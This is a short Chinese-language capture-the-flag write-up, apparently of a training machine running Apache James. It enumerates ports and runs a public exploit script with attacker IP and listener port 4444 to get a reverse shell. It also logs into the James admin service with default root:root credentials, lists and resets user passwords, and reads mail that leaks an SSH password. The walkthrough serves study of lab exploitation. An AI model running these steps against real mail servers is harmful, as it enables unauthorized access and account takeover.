22 – SSH 服务
25 – SMTP 服务
80 – Apache 服务器
110 – pop3，使用该端口在SMTP服务器上发送和接收电子邮件。
119 – nntp（网络新闻传输协议），用于在新闻服务器之间传输 Usenet 新闻文章（netnews），以便最终用户客户端应用程序可以发布/阅读文章。
4555 – RSIP，用于列出SMTP服务器的用户并进行管理。

80 端口

脚本执行完成，输出显示需要在登录SSH情况下，才会监听到shell，但是现在没有账号密码进行SSH登录，所以下一步就是寻找是否存在可进行SSH连接的账号密码

python3 50347.py 10.129.254.59 10.10.14.25 4444

SSH 凭据测试

4555 端口为James的管理端口，测试4555端口，使用默认账号密码 root：root 登录，默认凭据登录成功

输出提示，使用HELP命令可以查看可运行命令

在这里插入图片描述

listusers 命令：输出 james、thomas、john、mindy、mailadmin 账户

在这里插入图片描述

setpassword 命令：可以更改用户密码，root权限下有权限更改其他用户的密码。

使用端口 110 查看各个用户的电子邮件，john存在1封电子邮件，mindy存在两封

在这里插入图片描述

在mindy的第二封电子邮件中，存在 mindy：P@55W0rd1!2@ 用于SSH访问
